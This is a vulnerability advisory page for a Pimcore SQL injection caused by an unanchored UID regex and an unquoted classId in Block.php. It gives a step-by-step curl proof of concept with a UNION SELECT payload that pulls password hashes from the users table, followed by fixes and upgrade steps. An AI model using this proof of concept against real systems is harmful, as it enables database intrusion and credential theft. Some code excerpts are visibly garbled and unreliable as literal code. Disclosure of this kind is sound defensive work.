CVE-2026-55072: Input Validation

Published Aug 13, 2026
·
Updated

Summary A missing end anchor ($) in the ClassDefinition UID validation regex allows an authenticated user with the objects permission to create a class with a malicious UID containing SQL. When a data object of that class is later loaded, Block.php concatenates the raw classId directly into a SQL query without quoting, executing the injected payload. This is an incomplete fix from commit dbe1d131e4 which added a leading ^ anchor but omitted the trailing $.

Details 1. Missing end anchor in ClassDefinition UID validation

models/DataObject/ClassDefinition.php lines 1148-1154:

php if (!pregmatch('/^[a-zA-Z]\w+/', $this->getName())) { throw new Exception(sprintf('Invalid name for class definition: %s', $this->getName())); }

if (!pregmatch('/^a-zA-Z0-9?/', $this->getId())) { throw new Exception(sprintf('Invalid ID %s for class definition %s', $this->getId(), $this->getName())); }

Both patterns are missing a trailing $ anchor. Without it, pregmatch only checks that the string STARTS with a valid identifier — it does not assert end-of-string. A UID of 1 UNION SELECT password FROM users-- passes because the regex matches 1 at the start and ignores the rest.

Compare with the correct pattern used by Fieldcollection in models/DataObject/Fieldcollection/Definition.php line 268:

php if (!pregmatch('/^[a-zA-Z]\w$/', $key)) { // has $ — correct return true; }

3. Unquoted classId concatenation in Block.php

models/DataObject/ClassDefinition/Data/Block.php line 735:

php $query = 'select ' . $db->quoteIdentifier($field) . ' from objectstore' . $object->getClassId() . ' where ooid = ' . $object->getId();

$object->getClassId() returns the raw stored classId with no quoting. This same unquoted pattern repeats on lines 744, 746, 748, 759, and 771 for objectbrick, fieldcollection, and localized field contexts.

Compare with models/DataObject/ClassDefinition/Dao.php line 108-113 which correctly wraps the table name:

php $objectDatastoreTable = 'objectstore' . $this->model->getId(); $qObjectDatastoreTable = $this->db->quoteIdentifier($objectDatastoreTable);

Dao.php was hardened in commit dbe1d131e4 but Block.php was not.

PoC Prerequisites: - Pimcore 2026.1.x with Studio API enabled - A user lowpriv with only the objects permission

Step 1 — Authenticate as lowpriv and save the session cookie:

bash curl -s -c /tmp/cookies.txt -X POST \ "https://your-pimcore/pimcore-studio/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"lowpriv","password":"password"}'

Expected response: json {"message": "Login successful"}

Step 2 — Create a ClassDefinition with a malicious UID:

bash curl -s -b /tmp/cookies.txt -X POST \ "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \ -H "Content-Type: application/json" \ -d '{"name":"PocClass","uid":"1 UNION SELECT password,NULL FROM users-- "}'

Expected response: class definition created successfully. The UID passes the broken regex because pregmatch('/^[a-zA-Z0-9 ([a-zA-Z0-9]+)?/', '1 UNION SELECT...') matches 1 at the start and returns true. No exception is thrown.

The bypass can be verified independently in any PHP sandbox:

php vardump(pregmatch('/^a-zA-Z0-9?/', '1 UNION SELECT password FROM users-- ')); // int(1) — PASSES, no exception thrown

vardump(pregmatch('/^a-zA-Z0-9?$/', '1 UNION SELECT password FROM users-- ')); // int(0) — BLOCKED, correct behavior with $ anchor

Step 3 — Add a Block field to the malicious class (via the class editor UI or API)

In the Pimcore Studio UI, open PocClass, add a field of type Block, name it myblock, and save the class.

Step 4 — Create a data object of the malicious class:

bash curl -s -b /tmp/cookies.txt -X POST \ "https://your-pimcore/pimcore-studio/api/data-objects" \ -H "Content-Type: application/json" \ -d '{"className":"PocClass","parentId":1,"key":"poc-object"}'

Note the returned object ID (e.g. 42).

Step 5 — Fetch the data object to trigger Block.php:735:

bash curl -s -b /tmp/cookies.txt \ "https://your-pimcore/pimcore-studio/api/data-objects/42"

When the object loads, Block::load() executes:

sql SELECT myblock FROM objectstore1 UNION SELECT password,NULL FROM users-- WHERE ooid = 42

The -- comment discards the WHERE clause. MySQL executes the UNION and returns password hashes from the users table in the Block field value of the response.

Expected response (vulnerable):

The myblock field value in the response contains rows from the users table including password hashes.

Expected response (patched):

Step 2 fails with a validation exception — the UID is rejected before the class is created.

Recommended fix:

Add trailing $ anchors to both regex patterns in ClassDefinition.php:

php // Before (vulnerable) if (!pregmatch('/^[a-zA-Z]\w+/', $this->getName())) { if (!pregmatch('/^a-zA-Z0-9?/', $this->getId())) {

// After (correct) if (!pregmatch('/^[a-zA-Z]\w+$/', $this->getName())) { if (!pregmatch('/^a-zA-Z0-9?$/', $this->getId())) {

Additionally, wrap $object->getClassId() in $db->quoteIdentifier() in Block.php lines 735, 744, 746, 748, 759, and 771, consistent with how Dao.php handles the same value.

Impact An authenticated user with the objects permission can inject arbitrary SQL that executes when any data object of the malicious class is loaded. This allows exfiltration of any table in the Pimcore database, including the users table containing password hashes, using a UNION-based injection. The objects permission is a standard editor-level permission, not an admin privilege.

Affected Software

2 affected componentsFixes available
composer/pimcore/pimcore<12.3.9
12.3.9
composer/pimcore/pimcore>=2026.1.0<=2026.1.4
2026.1.5

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/pimcore/pimcore to a version that resolves this vulnerability.

    Fixed in 12.3.9
  2. Upgrade

    Upgrade composer/pimcore/pimcore to a version that resolves this vulnerability.

    Fixed in 2026.1.5
  3. Configuration

    In models/DataObject/ClassDefinition.php, update the ClassDefinition UID validation to include a trailing end-anchor `$` (change the currently missing $ end anchor pattern `'/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/'` to `'/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/'` as shown in the excerpt).

    models/DataObject/ClassDefinition.php UID validation regex = /^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/
  4. Configuration

    In models/DataObject/ClassDefinition/Data/Block.php, wrap `$object->getClassId()` with `$db->quoteIdentifier()` wherever it is concatenated into SQL (lines 735, 744, 746, 748, 759, and 771 per the excerpt) to avoid unquoted classId SQL injection.

    models/DataObject/ClassDefinition/Data/Block.php SQL construction for oo_id / classId usage = Use quoted identifier for classId via $db->quoteIdentifier($object->getClassId())

Event History

Aug 13, 2026
Advisory Published
via GitHub·01:44 PM
Data Sourced
via GitHub·01:44 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-55072?

CVE-2026-55072 has a severity rating of high at 8.5.

2

How do I fix CVE-2026-55072?

To fix CVE-2026-55072, update to the latest version of Pimcore where the regex validation has been corrected.

3

What causes CVE-2026-55072?

CVE-2026-55072 is caused by a missing end anchor in the ClassDefinition UID validation regex, allowing for SQL injection.

4

Who is affected by CVE-2026-55072?

Authenticated users with the objects permission in Pimcore are affected by CVE-2026-55072.

5

What are the potential impacts of CVE-2026-55072?

CVE-2026-55072 can lead to SQL injection vulnerabilities that allow attackers to manipulate the database.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203